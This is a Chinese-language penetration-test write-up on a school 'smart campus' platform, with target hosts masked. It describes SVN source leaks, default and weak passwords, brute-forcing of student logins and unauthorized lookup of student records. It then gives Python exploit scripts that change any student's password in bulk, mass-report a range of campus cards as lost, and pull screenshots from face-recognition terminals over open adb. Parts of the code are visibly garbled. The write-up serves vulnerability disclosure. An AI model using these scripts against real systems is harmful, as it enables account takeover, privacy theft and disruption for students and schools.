记一次智慧校园系统一轮游
一、前言
如发现存在问题发送邮件到:UzJuer@163.com删除文章
关于如何挖逻辑漏洞的思维图
二、智慧校园系统
1、www.xxx-xxxx.com svn泄露
Ps:后台截图(漏洞已上报并已修复)
1.1、漏洞复现
目录扫描
通过目录扫描发现存在.svn,使用svnExploit可下载文件
一些简单的html和js没有发现一些比较有用的东西
不过比较有意思的是,我在这些文件中找到一些代码
这里action指向的地址,简述一下,该平台使用云服务一样的桌面池来管理机器,登录后可访问云磁盘与云桌面池(四台ubuntu服务器,其中一台个人PC,里面有平台源代码,一台Centos)
这⾥给出的账号是admin 密码是abc@123 尝试后发现密码是123456
这上⾯有⽤的就是这个桌⾯池能直接连接到⼏台计算机
账号admin密码123456
密码123456
看包和代码好像是这个云平台的源代码
2.1、漏洞复现
目录扫描后发现svn
下载文件,这次需要下载的文件比较多,均为源代码
3、www.xxx-xxx.com:58080 弱口令(家长,学生,老师)
3.1、漏洞复现
教育平台弱口令,WIFI 手机 Burp抓包后发现其实公众号上的智慧校园对接的是www.xxx-xxx.com,获取服务器信息后,扫描发现一个58080端口,然后需要登录,猜测一下账号就是学号,密码88888888,000000,00000000,发现尝试后密码为88888888,
尝试20201008,密码88888888(但是没有权限,但是可以挂失卡,大概猜测挂失后应该卡就刷不了了吧)
而在这里可以挂失任何一张卡
老师的账号
4、www.xxx-xxx.com:58080 学生账号可批量爆破
4.1、漏洞复现
burp抓包后丢Repeater 没有验证码 没有任何验证 比较常规的暴力破解
改一下post参数发现好像没有别的验证,例如验证码,自己用Python写了一个脚本
脚本运行结果(只要返回的信息里面有操作成功,就是密码正确)
5.1、漏洞复现
我们通过教师登录平台发现可以查询学生信息,抓取接口后,未做验证可重复查询,Poc如下
代码语言:javascript复制import requests as req
def getStudentinfoF(getSearchName):
# test = '2020' getSearchName
getURL = 'http://www.xxx-xxx:port/xxxxx/xxxxxxx.do?getStuInfxos&_=1611732x9532114'
headers = {
'Accept': '*/*',
'Origin': 'http://www.xxx-xxx:port',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Linux; Androidx 10; TNY-AL00 Build/HUAWEITNY-AL00; wv) AppleWebKit/537.36 (KHTML, '
'like Gecko) Version/4.0 Chroxme/77.0.3865.120 MQQBrowser/6.2 TBS/045521 Mobile Safari/537.36 '
'MMWEBID/7559 MicroMessengxer/7.0.15.1660(0x27000F11) Process/tools WeChat/arm64 '
'NetType/WIFI Language/zxh_CN ABI/arm64',
'Content-Type': 'application/x-www-formx-urlencoded',
'Referer': 'http://www.xxx-xxx:port/wexixin/weixinController.do?toTeacherPage&fun=getstuinfo&childs=37bd317x15123%x85~2',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'JSESSIONID=AF1x08444123ED874D426F7',
}
data = {
'childs': '37bd371c2b0a123a2937~9001~é%C�#
'value': getSearchName
}
result = req.post(url=getURL, headers=headers, data=data)
print(result)
挖掘思路,平台PC是没有给出修改密码的接口的,但是手机中的智慧校园是有修改密码的功能的,WIFI Burp代理(记得上证书,不然容易报错),对接口并没有验证,也没有请求次数的限制
6.1、漏洞复现
先抓一个包,重放,没做验证,写脚本前需要先知道2个东西,第一就是childs这个参数为xxxxxxx9001xxxxxxx~1需要获取其中的两个参数,这两个参数第一个为用户的ID,具体怎么生成的不知道,看着像MD5,第二个为姓名,URL编码后的
poc代码如下
下面的代码思路,既然我们想更改任意账号的密码,唯一的要求就是xxx9001xxx~1这个参数第一个xxx哪里来呢?第一个XXX可以在前面的任意学生信息获取漏洞中拿到,获取学生信息中返回的数据有个叫picurl这个参数是学生的照片地址,但是照片的名字去掉.jpg就是这段我们需要的数据,第二个xxx很显然 不麻烦,就是学生的姓名,照这个思路,我们只需要让getStudentinforeturn返回一个数据,然后用正则匹配出来这段URL即可,然后用format把对应的参数填进去即可。
那么如何批量的修改学生账号密码呢,这里给出一种思路,我在漏洞5-水平越权中可以使用学生学号查询学生的信息,例如我需要更改20级弱口令学生的密码,那么只需要2020 range(1000, 9999)即可 修改21级以此类推一个原理,再用正则匹配一下url,和name即可做到批量修改密码。
代码语言:javascript复制import requests as req
import getStudentinfo
import re
userDefaultPassword = '88888888'
changeNewPassword = '123456789'
def changeUserpassword(searchName):
reusltinfo = getStudentinfo.getStudentinfoF(searchName)
re_resultinfo = re.findall(r'http://www.xxx-xx.com:xxx/xxxx/xxxx/(.*?).jpg"', reusltinfo)
r = 'http://xxxx.com/xxxx/xxxxx.do?updatePassword'
data = {
'childs': '{}~9001~{}~1'.format(re_resultinfo[0], searchName),
'oldpwd': userDefaultPassword,
'newpwd1': changeNewPassword,
'fun': 'xgmm_xs' #This parameter means to change the student's password. If it is to change the teacher's password, the parameter here is xgmm_js
}
headers = {
'Host': 'www.xxx.comm',
'Accept': '*/*',
'Origin': 'http://xxxx.com',
'X-Requestsed-With': 'XMLHttpRequest',
'User-Agent': 'UA',
'Referer': 'http://xxxx-xxx.com/xxxxx/xxxxxxx.do?toTeacherPage&fun=jsxgmm&childs=XXXXXX~9001~xxxxxx~1&flag=1',
'Cookie': 'JSESSIONID=81E52xxF12308DB5C2008E9131BF20B'
}
result = req.post(url=r, headers=headers, data=data)
print(result.text)
print('[ ]Change password to', changeNewPassword)
# getUserinput = input('[ ]Please Input NewUserPassowrd:')
# getOldPassowrd = input('[ ]Please Input oldUserpassowrd:')
getsearchName = input('[ ]Please Input SearchName:')
# This Function is not Input oldPassword
changeUserpassword(searchName=getsearchName)
# This Function is define User Input oldPassword
# changeUserpassword(getNewUserPassword=getUserinput, getOldUserPassword=getOldPassowrd, searchName=getsearchName)
挖掘思路为对抓到能重放的POST请求,我都会进行重放,该系统都没有做验证
7.1、漏洞复现
- 先上图
POC如下(利用条件:比如有一个登录了cookie并且不能关闭,然后把cookie填入headers中即可,自动化思路也不麻烦,使用requests.session即可,这里就不再赘述)
但是这个有个缺点是不能定向的攻击,意思是,虽然可以登录任意学生账号,但是如果该学生修改密码了,那平台是无法登陆的,那么post请求中的cardid这个参数是拿不到的,因为暂时没发现是如何转换的这个参数,也可能是按顺序生成的,所以只能批量的让一定范围(例如130000->200000)这些数字的卡挂失
代码语言:javascript复制import requests as req
def DropStudentid():
# default range (100000 -> 999999)
for num in range(135610, 200000):
getURL = "http://www.xxx-xxx.com:port/xxxxxx.Card&cardid={}".format(num)
headers = {
'Content-Length': '29',
'Origin': 'http://www.xxx-xxx.com:ports',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://www.xxx-xxx.com:port/userController.do?goLoseCard&_=16181456343224',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'Q_GENERATEINDEXSTYLE1=shortcut; JSESSIONID=2535611101D2116BB',
}
data = {
'cardstatus':'正常', #url编码
}
getResult = req.post(url = getURL, headers = headers, data = data)
print(getResult.status_code)
print(getResult.text)
8、人脸识别终端adb未授权访问
8.1、漏洞复现
- 漏洞原理不难,其实也不算是漏洞,因为是通过adb来调试,设备打开了远程调试,所以导致可以连接(但只局限于内网,要发到外网也不麻烦,在内网控一台安卓设备后,外网拿这台设备做跳板即可)
- 先演示写好的Poc
Poc代码如下 每一台手动的去ADB会比较麻烦,用Python写好脚本一键执行更加方便,并且我需要执行命令只需要更改部分代码即可
代码语言:javascript复制import os
import datetime
import sys
import time
adbShellDefault_shell = 'adb shell '
adbShellDefault_Connect = 'adb connect '
adbShellDefault_Screencap = 'adb shell screencap -p /sdcard/1.png'
# adbShellDefault_pullScreencap = 'adb pull /sdcard/1.png /Users/apple/Desktop/xxx/TestWebSitePoc/'
adbShellDefault_disconnect = 'adb disconnect '
now_time = datetime.datetime.now().strftime('%Y-%m-%d:%H:%M:%S')
def getAdbFaceAuthentication_getScreenCap(OpenPortAddressList):
print('[*]Now Connect device ip:', OpenPortAddressList)
os.system(adbShellDefault_Connect OpenPortAddressList) # connect device
print('[ ]get Screen to sdcard')
os.system(adbShellDefault_Screencap) # img save to sdcard directory
print('[ ]Create a new directory')
# os.system('mkdir /FaceAuthenticationImage/' OpenPortAddressList) # Create new Directory
print('[ ]get Device to local directory')
adbShellDefault_pullScreencap = 'adb pull /sdcard/1.png /Users/apple/Desktop/xxx/xxx/FaceAuthenticationImage/{}/{}.png'.format(
OpenPortAddressList, now_time)
os.system(adbShellDefault_pullScreencap)# from device pull img save local
# os.system(adbShellDefault_pullScreencap) # from device pull img save local
print('[ ]Disconnect device connect')
os.system(adbShellDefault_disconnect OpenPortAddressList)
if __name__ == '__main__':
# print(logo)
OpenPortAddressList = ['iplist']
for push in OpenPortAddressList:
getAdbFaceAuthentication_getScreenCap(push)
# outPutinfoflush()